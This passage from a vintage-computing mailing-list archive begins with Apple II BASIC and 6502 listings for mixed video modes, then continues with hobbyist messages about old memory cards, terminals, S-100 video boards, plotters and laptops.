3--Integer Basic. ---------------------------------------------------------------------------- - 10 PC = 16384 20 POKE PC + 1,80: POKE PC + 4,82: POKE PC + 7,87 30 FOR K = 1 TO 3 40 POKE PC,141: POKE PC + 2,192 50 PC = PC + 3 60 NEXT K 100 FOR LOC = 32768 TO 34816 110 POKE PC,173 120 POKE PC + 1,80 130 POKE PC + 2,192 140 POKE PC + 3,141 150 HLOC = INT (LOC / 256) 160 LLOC = LOC - (HLOC * 256) 170 POKE PC + 4,LLOC 180 POKE PC + 5,HLOC 190 PC = PC + 6 200 NEXT LOC 210 POKE PC,141: POKE PC+1,81: POKE PC+2,192: POKE PC+3,96 Listing 4--Applesoft. ---------------------------------------------------------------------------- - 10 PC=16384: LOC=4096 20 LDA=10*16+13: STA=8*16+13: C050LO=5*16: C050HI=12*16: RTS=96 40 POKE PC+1,C050LO: POKE PC+4,C050LO+2: POKE PC+7,C050LO+7 50 FOR K = 1 TO 3 60 POKE PC,STA: POKE PC+2,C050HI 70 PC=PC+3 80 NEXT K 100 FOR K=1 TO 2048 110 POKE PC+0,LDA 120 POKE PC+1,C050LO 130 POKE PC+2,C050HI 140 POKE PC+3,STA 150 POKE PC+4,LOC MOD 256 160 POKE PC+5,LOC/256 170 PC=PC+6: LOC=LOC+1 180 NEXT K 190 POKE PC,STA: POKE PC+1,C050LO+1: POKE PC+2,C050HI: POKE PC+3,RTS Listing 4--Integer Basic. ---------------------------------------------------------------------------- - 1120- B7 F7 37 37 37 37 B8 B8 17A8- 7F 7F 7F BF BF BF BF BF 1128- B8 F8 38 38 38 38 B9 B9 17B0- 80 80 80 C0 00 00 00 00 1130- B9 F9 39 39 39 39 BA BA 17B8- 81 81 81 C1 01 01 01 01 1138- BA FA 3A 3A 3A 3A BB BB 17C0- 82 82 82 C2 02 02 02 02 1140- BB BB FB 3B 3B 3B 3B BC 17C8- 83 83 83 C3 03 03 03 03 1148- BC BC FC 3C 3C 3C 3C BD 17D0- 84 84 84 C4 04 04 04 04 1150- BD BD FD 3D 3D 3D 3D BE 17D8- A5 85 85 85 C5 05 05 05 1158- BE BE FE 3E 3E 3E 3E BF 17E0- 05 86 86 86 C6 06 06 06 1160- BF BF FF 3F 3F 3F 3F BA 17E8- 06 87 87 87 C7 07 07 07 1168- BA BA FA 3A 3A 3A 3A BB 17F0- 07 88 88 88 C8 08 08 08 1170- BB BB FB 3B 3B 3B 3B BC 17F8- 08 89 89 89 C9 09 09 09 1178- BC BC FC 3C 3C 3C 3C BD 1180- BD BD BD FD 3D 3D 3D 3D 1970- B7 B7 F7 37 37 37 37 B8 1188- BE BE BE FE 3E 3E 3E 3E 1978- B8 B8 F8 38 38 38 38 B9 1190- BF BF BF FF 3F 3F 3F 3F 1980- B9 B9 F9 39 39 39 39 BA 1198- 80 80 C0 00 00 00 00 00 1988- BA BA FA 3A 3A 3A 3A BB 11A0- 81 81 C1 01 01 01 01 01 1990- BB BB FB 3B 3B 3B 3B BC 11A8- 82 82 C2 02 02 02 02 02 1998- BC BC FC 3C 3C 3C 3C BD 11B0- 83 83 C3 03 03 03 03 03 19A0- BD BD BD FD 3D 3D 3D 3D 11B8- 84 84 C4 04 04 04 04 04 19A8- BE BE BE FE 3E 3E 3E 3E 11C0- A5 85 85 C5 05 05 05 05 19B0- BF BF BF FF 3F 3F 3F 3F 11C8- 05 86 86 C6 06 06 06 06 19B8- BA BA BA FA 3A 3A 3A 3A 11D0- 06 87 87 C7 07 07 07 07 19C0- BB BB BB FB 3B 3B 3B 3B 19C8- BC BC BC FC 3C 3C 3C 3C 1780- 7A 7A BA BA BA BA BA 7B 19D0- BD BD BD FD 3D 3D 3D 3D 1788- 7B 7B BB BB BB BB BB 7C 19D8- BE BE BE FE 3E 3E 3E 3E 1790- 7C 7C BC BC BC BC BC 7D 19E0- BF BF BF BF FF 3F 3F 3F 1798- 7D 7D 7D BD BD BD BD BD 19E8- 3F 80 80 C0 00 00 00 00 17A0- 7E 7E 7E BE BE BE BE BE 19F0- 00 81 81 C1 01 01 01 01 19F8- 01 82 82 C2 02 02 02 02 Figure 2. ---------------------------------------------------------------------------- - BEGIN VISIBLE _______________________________________ END OF SCAN SCAN LINE $00 | | | LINE $00 | | | | | | | | | | | | | | | | | | BEGIN VISIBLE |---------------------------------------| END OF SCAN SCAN LINE 'L' | | | LINE 'L' | BEGIN HBL FOR |-----------------------| END HBL FOR | SCAN LINE 'N' | ^ | SCAN LINE 'N' | | | | | | $40 LINES | | | | | | | v | BEGIN VISIBLE |---------------------------------------| END OF SCAN SCAN LINE 'N' | | | LINE 'N' | | | | BEGIN HBL FOR | | END HBL FOR | SCAN LINE $BF |_______________________| SCAN LINE $BF | _______________|_______ | BEGIN HBL FOR | | | END HBL FOR | SCAN LINE $00 | | | SCAN LINE $00 | | | | | BEGIN HBL FOR |_______________|_______| END HBL FOR | SCAN LINE 'L' | | | SCAN LINE 'L' | | | | | | | | BEGIN VISIBLE |_______________________|_______________|_______| END OF SCAN SCAN LINE $BF LINE $BF Figure 3. Cycle-by-cycle map of video frame. ---------------------------------------------------------------------------- - 1000- A2 00 LDX #$00 1002- 20 1A 10 JSR $101A 1005- 8D 50 C0 STA $C050 1008- 8D 57 C0 STA $C057 1006- F0 00 BEQ $100D 100D- 20 1A 10 JSR $101A 1010- 8D 52 C0 STA $C052 1013- 8D 56 C0 STA $C056 1016- EA NOP 1017- 4C 02 10 JMP $1002 101A- A0 06 LDY #$06 101C- CA DEX 101D- D0 FD BNE $101C 101F- 88 DEY 1020- D0 FA BNE $101C 1022- A2 9D LDX #$9D 1024- CA DEX 1025- D0 FD BNE $1024 1027- 60 RTS Listing 5. ---------------------------------------------------------------------------- From eric at brouhaha.com Thu May 18 23:36:25 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:51 2005 Subject: Wanted: Manual and/or switch settings for Intel iSBC-012CX memory card Message-ID: <20000519043625.21480.qmail@brouhaha.com> I recently was given some Intel iSBC-012CX memory cards. These are 512K ECC DRAM cards that support both Multibus and an auxilliary high speed memory bus on the P2 connector (iLBX?). There was also a version that omitted some components and didn't support the aux. bus; I think that was the iSBC-012C. There were also partially populated models with 128K and 256K capacity; I think those were designated iSBC-028C[X] and iSBC-056C[X]. Anyhow, I'm looking for a manual for these boards, or at least information on jumper settings. Multibus originally only supported a 1M address space, so two of these would fill it up. Later A20-A23 address lines were added, but they were put on the P2 connector. Thanks! Eric From foo at siconic.com Thu May 18 23:13:18 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:51 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Message-ID: On Thu, 18 May 2000, Charles P. Hobbs (SoCalTip) wrote: > > Well then this brings me back to wondering how those programs that allowed > > mixed video modes on the Apple ][ worked. They required no hardware mods. > > Hmmm. > > I wasn't aware that any such programs existed, especially for the II. Any > examples I should be on the lookout for? > <...> > > I have a bunch of Softdisk disks, mostly for the GS though (some will > work on earlier machines). I haven't really looked through them all You need to get issues from the '83-'86 range to find the demos I'm talking about. SoftDisk had an advertising "section" on each issue and there was one company that sold development tools to build programs with mixed mode screens that advertised almost every issue. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From lemay at cs.umn.edu Fri May 19 00:26:33 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:51 2005 Subject: PDP 8/L maintenance manual Message-ID: <200005190526.AAA26519@caesar.cs.umn.edu> Does anyone here have a copy of the PDP 8/L Maintenance Manual, Volume #2? I seem to be missing that for some reason. It looks like I have all the rest of the stuff that originally came with the computer, plus the PDP 8/L Maintenance Course Training Notes, the KD8/L Data Break Option Functional Description, and the 8/L print set. -Lawrence LeMay From dpeschel at eskimo.com Fri May 19 00:41:46 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:51 2005 Subject: Softdisk and BEZ (was Cool AppleSoft BASIC trick) In-Reply-To: from "Vintage Computer GAWD!" at May 18, 2000 09:13:18 PM Message-ID: <200005190541.WAA02383@eskimo.com> Sellam wrote: > On Thu, 18 May 2000, Charles P. Hobbs (SoCalTip) wrote: > > > > Well then this brings me back to wondering how those programs that allowed > > > mixed video modes on the Apple ][ worked. They required no hardware mods. > > > Hmmm. > > > > I wasn't aware that any such programs existed, especially for the II. Any > > examples I should be on the lookout for? > > > <...> > > > > I have a bunch of Softdisk disks, mostly for the GS though (some will > > work on earlier machines). I haven't really looked through them all > > You need to get issues from the '83-'86 range to find the demos I'm > talking about. SoftDisk had an advertising "section" on each issue and > there was one company that sold development tools to build programs with > mixed mode screens that advertised almost every issue. As long as we're talking about SoftDisk, I may as well shamelessly hijack the conversation. At least I changed the subject. The one SoftDisk issue I owned (I'm not sure if I have it anymore) had a demo for a game called Alien Encounter. This game was made by BEZ (who also made things like Double Trouble, two arcade games side-by-side controlled by the same joystick -- another one I no longer have) and featured a series of puzzles. I'm wondering if anyone else has ever heard of that game. -- Derek From foo at siconic.com Fri May 19 00:02:24 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:51 2005 Subject: Softdisk and BEZ (was Cool AppleSoft BASIC trick) In-Reply-To: <200005190541.WAA02383@eskimo.com> Message-ID: On Thu, 18 May 2000, Derek Peschel wrote: > The one SoftDisk issue I owned (I'm not sure if I have it anymore) had a > demo for a game called Alien Encounter. This game was made by BEZ (who also > made things like Double Trouble, two arcade games side-by-side controlled by > the same joystick -- another one I no longer have) and featured a series of > puzzles. > > I'm wondering if anyone else has ever heard of that game. The two sound (in the most vague sense) familiar. If you can remember about when the issue came out I can check if I have it. I've got quite a few SoftDisks through 1987. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From rigdonj at intellistar.net Fri May 19 08:49:16 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:51 2005 Subject: rescued a beehive! In-Reply-To: References: <3.0.1.16.20000518185542.34bf9f56@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000519084916.26677ab2@mailhost.intellistar.net> Tony, At 01:24 AM 5/19/00 +0100, you wrote: >> >> Yesterday I picked up one of my more unusual finds, a Beehive MicroB >> terminal that looks like it's new in the box. See pictures at >> "http://www.intellistar.net/~rigdonj/beehive/b4.jpg" through >> "http://www.intellistar.net/~rigdonj/beehive/b9.jpg". You can see in >> picture b7 that it was still sealed up in a plastic bag inside the box. >> >> Does anyone want this? I don't need it and I don't have room to keep >> it. I powered it up today and it appears to work. You can see in the last >> picture that it does have a raster and cursor. I don't have a systemn that >> uses a terminal so I can't test it beyond that. The screen is normal but > >Don't you still have that 11/73 you were asking about last week. That >could use this as a terminal, surely. Yes, but it's over at someone else house at the moment. > >And are you saying that you don't have _any_ other machine with an RS232 >port? Surely you have _something_ that can send and receive characters? Of course I do. I can alway use the over abundant PCs. But I don't want to take the time to figure out the port pinouts and make a cable. > >And 95% of all terminals only need the data leads on the RS232 connector >(there may be a setup option for this). In which case shorting pin 2 to >pin 3 on the RS232 connector will do a loopback test -- I thought about that but I ran out of time and had to put it away for the evening. Wouldn't you have to jumper the handshaking signals too? I don't know which of them this terminal requires. I didn't get a manual for it. :-( anything you type >on the keyboard should appear on the screen. That doesn't test >_everything_ (for example the baud rate could be wildly off, but if it >uses the same rate for Tx and Rx, this test would pass), but it will >check much of the terminal logic. Joe From richard at idcomm.com Fri May 19 08:29:02 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:51 2005 Subject: rescued a beehive! References: <3.0.1.16.20000518185542.34bf9f56@mailhost.intellistar.net> <3.0.1.16.20000519084916.26677ab2@mailhost.intellistar.net> Message-ID: <002301bfc196$332cea60$0400c0a8@winbook> I'm not sure the Beehive terminal is the best-supported one available, but if you've any hope of getting your Altair running with "period" hardware, i.e. with hardware available in the era in which the box was designed, I'd say you're going to need one. Video boards for the S-100 were not common until much later, with the possible exception of the SSM VB1, which does not provide a standard 80x24 display. If this terminal is really unused, it might be worth going through and swapping the electrolytic caps with some relatively new ones, but it probably would work well otherwise. 20-year old electrolytics need to be "re-formed" if they're to work reliably. That involves removing them from the circuit and gradually cycling them up to peak voltage and current. If you have to remove them, it makes more sense to replace them rather than to go through the re-forming process. Some of them may die anyway, due to tired dielectric. A TVI 910 or a Lear-Siegler ADM-3A might be a more widely supported choice. I used either a TVI or a Hazeltine Esprit emulating a Hazeltine 1500 most of the time. I didn't start using this S-100 stuff until 1977, however. Dick ----- Original Message ----- From: Joe To: Sent: Friday, May 19, 2000 7:49 AM Subject: Re: rescued a beehive! > Tony, > > At 01:24 AM 5/19/00 +0100, you wrote: > >> > >> Yesterday I picked up one of my more unusual finds, a Beehive MicroB > >> terminal that looks like it's new in the box. See pictures at > >> "http://www.intellistar.net/~rigdonj/beehive/b4.jpg" through > >> "http://www.intellistar.net/~rigdonj/beehive/b9.jpg". You can see in > >> picture b7 that it was still sealed up in a plastic bag inside the box. > >> > >> Does anyone want this? I don't need it and I don't have room to keep > >> it. I powered it up today and it appears to work. You can see in the last > >> picture that it does have a raster and cursor. I don't have a systemn that > >> uses a terminal so I can't test it beyond that. The screen is normal but > > > >Don't you still have that 11/73 you were asking about last week. That > >could use this as a terminal, surely. > > Yes, but it's over at someone else house at the moment. > > > >And are you saying that you don't have _any_ other machine with an RS232 > >port? Surely you have _something_ that can send and receive characters? > > Of course I do. I can alway use the over abundant PCs. But I don't want > to take the time to figure out the port pinouts and make a cable. > > > > >And 95% of all terminals only need the data leads on the RS232 connector > >(there may be a setup option for this). In which case shorting pin 2 to > >pin 3 on the RS232 connector will do a loopback test -- > > I thought about that but I ran out of time and had to put it away for > the evening. Wouldn't you have to jumper the handshaking signals too? I > don't know which of them this terminal requires. I didn't get a manual for > it. :-( > > > > anything you type > >on the keyboard should appear on the screen. That doesn't test > >_everything_ (for example the baud rate could be wildly off, but if it > >uses the same rate for Tx and Rx, this test would pass), but it will > >check much of the terminal logic. > > Joe > From kyrrin at bluefeathertech.com Fri May 19 09:08:25 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:51 2005 Subject: New listmembers Message-ID: <3924E869.1833.CF16DF1@localhost> I know the instructions for this have changed, and I can't find them (dang it!) Could someone please bring me up to date on how to bring new listmembers on-board? The fellow I wrote in about last night that has the VAXen is interested. Thanks! -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From allisonp at world.std.com Fri May 19 09:10:21 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:51 2005 Subject: rescued a beehive! In-Reply-To: <002301bfc196$332cea60$0400c0a8@winbook> Message-ID: > say you're going to need one. Video boards for the S-100 were not common > until much later, with the possible exception of the SSM VB1, which does not > provide a standard 80x24 display. The "video boards" for S100 were amoung the first third party boards. Most however were of the VDM-1 style as 64chars x16lines with the 80x24 being much later (78ish). > A TVI 910 or a Lear-Siegler ADM-3A might be a more widely supported choice. The TVI was a late commer and more likely the early 80s. ADM1/1a/3 were the most widely supported and second was the Vt52 (or VT52 on vt100) as many terminals emulated either DEC or ADM. > I used either a TVI or a Hazeltine Esprit emulating a Hazeltine 1500 most of > the time. I didn't start using this S-100 stuff until 1977, however. The Esprit(later) and 1500(earlier) were not that popular. Also the support on them varied on model (1500, 1520, 1552 or 1400, 1420). Allison From rhudson at ix.netcom.com Fri May 19 09:22:25 2000 From: rhudson at ix.netcom.com (Ron Hudson) Date: Sun Feb 27 18:52:51 2005 Subject: May be moving.... References: Message-ID: <39254E21.6C74387B@ix.netcom.com> My wife is interviewing for a job in Virginia Beach VA, If she gets it we will be moving out there... Anyone know of any Halted/Weirdstuff type shops in the Virginia Beach/Norfolk and surrounding area? These are the kind of place where when a business has excess electronic equipment it's resold via them.(Ie Halted bids on lots of electronic stuff then sells it to the public.) From jdarren at ala.net Fri May 19 10:04:35 2000 From: jdarren at ala.net (jdarren) Date: Sun Feb 27 18:52:51 2005 Subject: Versatec question Message-ID: <003a01bfc1a3$8c2db920$026464c0@j.peters> Does anyone know of any currently commercially available printer/plotter compatible as a drop-in replacement for a 1970's vintage Versatec electrostatic model? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000519/da93d05d/attachment-0001.html From richard at idcomm.com Fri May 19 11:20:15 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:51 2005 Subject: rescued a beehive! References: Message-ID: <000d01bfc1ae$1f0a4420$0400c0a8@winbook> Well, Allison, you're right about the Esprit, since it didn't come around until the very late '70's, but it was my choice at that time because (1) there was no significantly cheaper terminal available, and (2) it emulated the Hazeltine 1500, LSI ADM-3A, and one other which I don't remember, since I probably never had occasion to use it. The basis for my suggestion that the terminals best for CP/M is my experience that the ones I listed and the Visual 50 (also with several emulations) were the ones we had the fewest compatibility issues under CP/M. Various software packages had to be configured specifically for whichever terminal was in use, and being "close" generally led to trouble. The early video boards with 16 lines of 64 characters weren't supported by most software vendors at the time. Only after the popularity of the TRS-80 (1978) became a factor did 16x64 become useable with standard CP/M systems and software. Of course, one could write one's own drivers, but that was not a popular solution for most users. Who built that VDM-1? Was that not a part of some vendor's "set" of boards? Dick ----- Original Message ----- From: To: Sent: Friday, May 19, 2000 8:10 AM Subject: Re: rescued a beehive! > > say you're going to need one. Video boards for the S-100 were not common > > until much later, with the possible exception of the SSM VB1, which does not > > provide a standard 80x24 display. > > The "video boards" for S100 were amoung the first third party boards. Most > however were of the VDM-1 style as 64chars x16 lines with the 80x24 being > much later (78ish). > > > A TVI 910 or a Lear-Siegler ADM-3A might be a more widely supported choice. > > The TVI was a late commer and more likely the early 80s. ADM1/1a/3 were > the most widely supported and second was the Vt52 (or VT52 on vt100) as > many terminals emulated either DEC or ADM. > > > I used either a TVI or a Hazeltine Esprit emulating a Hazeltine 1500 most of > > the time. I didn't start using this S-100 stuff until 1977, however. > > The Esprit(later) and 1500(earlier) were not that popular. Also the > support on them varied on model (1500, 1520, 1552 or 1400, 1420). > > Allison > > From mranalog at home.com Fri May 19 11:30:21 2000 From: mranalog at home.com (Doug Coward) Date: Sun Feb 27 18:52:51 2005 Subject: Mark 1 computer References: Message-ID: <39256C1D.C000B2AA@home.com> Because a few people have asked about the old mechanical type Navy analog fire control computers: I have just put up a couple pictures of the Mk.1 fire control computer in my analog museum. http://www.best.com/~dcoward/analog/fordsperry.htm I also recently picked up a couple manuals for the Mark 1 computer: COMPUTER MARK I AND MODS DESCRIPTION AND OPERATION (OP 1064) June 1945 Now I can stop envying these young guys with computers that are older than they are. I don't have the computer, but I have a user's manual that's older than me. :) BASIC FIRE CONTROL MECHANISMS (OP 1140) September 1944 This manual describes the workings of all of the basic mechanisms (multipliers, integrators, resolvers, differentials, synchros, cams, etc.) I mention this because one of these basic mechanisms was up for bid on eBay this week. And the pictures may disappear any minute!! http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=330171722 This is called a Component Integrator. It has two input shafts, a Speed Input and a Angular Input. And it has two output shafts, one is the product of the speed input and the cosine of the angular input and the other is the product of the speed input and the sine of the angular input. Now back to the world of TTL logic, sorry for the interruption. --Doug ==================================================== Doug Coward dcoward@pressstart.com (work) Sr. Software Eng. mranalog@home.com (home) Press Start Inc. http://www.pressstart.com Sunnyvale,CA Curator Analog Computer Museum and History Center http://www.best.com/~dcoward/analog ==================================================== From healyzh at aracnet.com Fri May 19 12:07:58 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:51 2005 Subject: Versatec question In-Reply-To: <003a01bfc1a3$8c2db920$026464c0@j.peters> Message-ID: >Does anyone know of any currently commercially available printer/plotter >compatible as a drop-in replacement for a 1970's vintage Versatec >electrostatic model? Aren't the modern "Versatec's" made by Xerox? ISTR, that some of our big plotters are made by Versatec, and some by Xerox, yet they're the same thing. Drop in though.... Hmmmm.... I know ours are hooked up to old Sparc's running SunOS (needed for the drivers, though I think they finally found an upgrade path). Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From healyzh at aracnet.com Fri May 19 12:12:35 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:51 2005 Subject: May be moving.... In-Reply-To: <39254E21.6C74387B@ix.netcom.com> References: Message-ID: >My wife is interviewing for a job in Virginia Beach VA, If she gets it we will >be moving out there... >Anyone know of any Halted/Weirdstuff type shops in the Virginia Beach/Norfolk >and surrounding area? These are the kind of place where when a business has >excess electronic equipment it's resold via them.(Ie Halted bids on lots of >electronic stuff then sells it to the public.) DRMO (US Navy Scrap) right outside the Base, IIRC. Since I was on a Aircraft Carrier at the time I didn't have the room to check them out, but I gather they have occasional auctions. You'll probably not find much in Virginia Beach, but Norfolk/Portsmouth should have some. Remember that's that's the worlds largest Navy Base. Now if you wanted to know about RPG/Wargamming stores in that area.... Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From jimw at agora.rdrop.com Fri May 19 12:13:18 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:52:51 2005 Subject: rescued a beehive! In-Reply-To: <000d01bfc1ae$1f0a4420$0400c0a8@winbook> Message-ID: On Fri, 19 May 2000, Richard Erlacher wrote: > Who built that VDM-1? Was that not a part of some vendor's "set" of boards? The VDM-1 (Video Display Module #1) came from Processor Technology and the circuitry was later integrated into their SOL Terminal Computer. It was also offered in a 'set' of boards (the name of which escapes me at the moment) which effectively transormed your Altair/IMSAI into a SOL (workalike). The board set consisted of the VDM-1, the CUTS cassette I/O board, a 3P+S I/O board, and optionally a ROM board (can't think of the designation at the moment) which held the CUTER/SOLOS 'personality module' ROMS/EPROMS. If you did not pop for the ROM board, you toggled in a boot loader and loaded SOLOS/CUTER from tape... Viola! Insta-SOL!! -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From ard at p850ug1.demon.co.uk Fri May 19 12:54:01 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:51 2005 Subject: rescued a beehive! In-Reply-To: <3.0.1.16.20000519084916.26677ab2@mailhost.intellistar.net> from "Joe" at May 19, 0 08:49:16 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2816 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000519/3bba6d11/attachment-0001.ksh From allisonp at world.std.com Fri May 19 13:03:17 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:51 2005 Subject: rescued a beehive! In-Reply-To: <000d01bfc1ae$1f0a4420$0400c0a8@winbook> Message-ID: > Well, Allison, you're right about the Esprit, since it didn't come around > until the very late '70's, but it was my choice at that time because (1) I know, I worked for Haziltine and was part of manufacturing engineering for terminals then. > compatibility issues under CP/M. Various software packages had to be > configured specifically for whichever terminal was in use, and being "close" > generally led to trouble. I know... However, Vt52 was the safest of the lot for emulation as it was so minimal and widely used/copied. The key was having screen clear, clear to end of line and gotoxy all were trivial. > The early video boards with 16 lines of 64 characters weren't supported by > most software vendors at the time. Only after the popularity of the TRS-80 > (1978) became a factor did 16x64 become useable with standard CP/M systems > and software. Of course, one could write one's own drivers, but that was > not a popular solution for most users. Actually 72 lines was more defacto as that was TTY. > Who built that VDM-1? Was that not a part of some vendor's "set" of boards? Processor Technology, you could buy it alone and they had other boards as well all very good. I bought mine(still have it) for the Altair in early '76 as TTY was noisy and often slow for debugging/editing. Allison From netsurfer_x1 at hotmail.com Fri May 19 14:36:00 2000 From: netsurfer_x1 at hotmail.com (David Vohs) Date: Sun Feb 27 18:52:51 2005 Subject: OT Rant: Smaller/thinner laptops. Message-ID: <20000519193600.69493.qmail@hotmail.com> I'd like to share a revelation I have had about modern laptops. I have noticed that nearly every new laptop generation on the market is roughly about a third smaller than the previous generation. But does anybody know why they make them this way? One might say that this is so because of new manufacturing processes, new technologies, etc. But in my opinion, I think laptops are made as thin as they are so you can be lost or stolen easier. If you lose a new laptop, you are probably out $1500 or more! That's why I like older laptops like a Tandy Model 100, Macintosh Portable, etc. because of these reasons: 1. Large size 2. *Proper* keyboards (laptop makers, please thake note!) 3. Phenominal battery lives (see above comment) 4. If they are lost (nobody would really want to steal an obsolete laptop) you are out maybe $50-150 or so. So the newest technology is better, I beg to differ! ____________________________________________________________ David Vohs, Digital Archaeologist & Computer Historian. Home page: http://www.geocities.com/netsurfer_x1/ Computer Collection: "Triumph": Commodore 64C, 1802, 1541, FSD-1, GeoRAM 512, Okimate 20. "Leela": Macintosh 128 (Plus upgrade), Nova SCSI HDD, Imagewriter II. "Delorean": TI-99/4A. "Monolith": Apple Macintosh Portable. "Spectrum": Tandy Color Computer 3. "Boombox": Sharp PC-7000. ____________________________________________________________ ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From mcguire at neurotica.com Fri May 19 14:59:36 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:51 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: OT Rant: Smaller/thinner laptops. (David Vohs) References: <20000519193600.69493.qmail@hotmail.com> Message-ID: <14629.40232.954709.971331@phaduka.neurotica.com> On May 19, David Vohs wrote: > But in my opinion, I think laptops are made as thin as they are so you can > be lost or stolen easier. If you lose a new laptop, you are probably out > $1500 or more! That's why I like older laptops like a Tandy Model 100, > Macintosh Portable, etc. because of these reasons: > > 1. Large size > 2. *Proper* keyboards (laptop makers, please thake note!) > 3. Phenominal battery lives (see above comment) > 4. If they are lost (nobody would really want to steal an obsolete laptop) > you are out maybe $50-150 or so. > > So the newest technology is better, I beg to differ! [Dave stands up, puts on tie, holds up a copy of BusinessWeek] "But those ancient computers can't possibly work. Intel has come out with something new, therefore everything made prior to that stops working! Besides, how will I run the latest copy of Microsoft WhizBang GraphiMail without at least half a terabyte of RAM? You KNOW that I NEEEEED it in order to be a team player at my job...look, it says so in this magazine!" [Dave takes off tie, puts the copy of BusinessWeek on the floor, pees on it, and goes back to putting together his pdp11/73] -Dave McGuire From mgregory at vantageresearch.com Fri May 19 15:11:40 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:52:51 2005 Subject: OT Rant: Smaller/thinner laptops. Message-ID: <029f01bfc1ce$71d6f5c0$0200a8c0@marvin> -----Original Message----- From: David Vohs To: classiccmp@classiccmp.org Date: Friday, May 19, 2000 1:51 PM Subject: OT Rant: Smaller/thinner laptops. > >But in my opinion, I think laptops are made as thin as they are so you can >be lost or stolen easier. If you lose a new laptop, you are probably out >$1500 or more! I think the driver of smaller size is the desire for lighter weight, without sacrificing features, since so many people use only their laptops now, rather than having a desktop as well. Anyone who's had to carry a 20+ lb laptop bag in addition to a briefcase, suitcase, etc. can appreciate why smaller size and lighter weight is a Good Thing (tm). Try lugging a Mac Portable with a spare battery around for a day and you'll see what I mean. Regards, Mark. From fmc at reanimators.org Fri May 19 15:13:01 2000 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:52:51 2005 Subject: rescued a beehive! In-Reply-To: allisonp@world.std.com's message of "Fri, 19 May 2000 14:03:17 -0400 (EDT)" References: Message-ID: <200005192013.NAA21300@daemonweed.reanimators.org> allisonp@world.std.com wrote: > I know, I worked for Haziltine and was part of manufacturing engineering > for terminals then. Hmm. This might have been before your time, but I might as well ask: got any stories to tell about the Hazeltine 2000? I ran across a few of them in the early 1980s, being used as 1200 bps terminals to a Univac 1108. 74-column green-screens in yellow-painted metal boxes. Very funky, even then. -Frank McConnell From rich at alcor.concordia.ca Fri May 19 15:31:24 2000 From: rich at alcor.concordia.ca (Rich Lafferty) Date: Sun Feb 27 18:52:51 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <20000519193600.69493.qmail@hotmail.com>; from netsurfer_x1@hotmail.com on Fri, May 19, 2000 at 07:36:00PM +0000 References: <20000519193600.69493.qmail@hotmail.com> Message-ID: <20000519163124.A2592@alcor.concordia.ca> On Fri, May 19, 2000 at 07:36:00PM +0000, David Vohs (netsurfer_x1@hotmail.com) wrote: > I'd like to share a revelation I have had about modern laptops. [...] > But in my opinion, I think laptops are made as thin as they are so you can > be lost or stolen easier. If you lose a new laptop, you are probably out > $1500 or more! That's why I like older laptops like a Tandy Model 100, > Macintosh Portable, etc. because of these reasons: > > 1. Large size One is to assume that you have a car in which to tote your heavy laptop around town.. Having said that, > 2. *Proper* keyboards (laptop makers, please thake note!) Yes, absolutely. I love my Toshiba 5100 for this (although I'm still looking for T/PIX to throw on it, nudge wink). > 3. Phenominal battery lives (see above comment) Heh, all of my workhorse portables/laptops are AC-only. :-) > 4. If they are lost (nobody would really want to steal an obsolete laptop) > you are out maybe $50-150 or so. You'd be surprised. The people stealing them haven't the first clue what they're taking; they only find out it's worthless when their fence refuses to buy it. I recently lost one of my two T1000s when I left it unattended for a moment in a coffeeshop; luckily I remembered to take the disk containing my work with me. 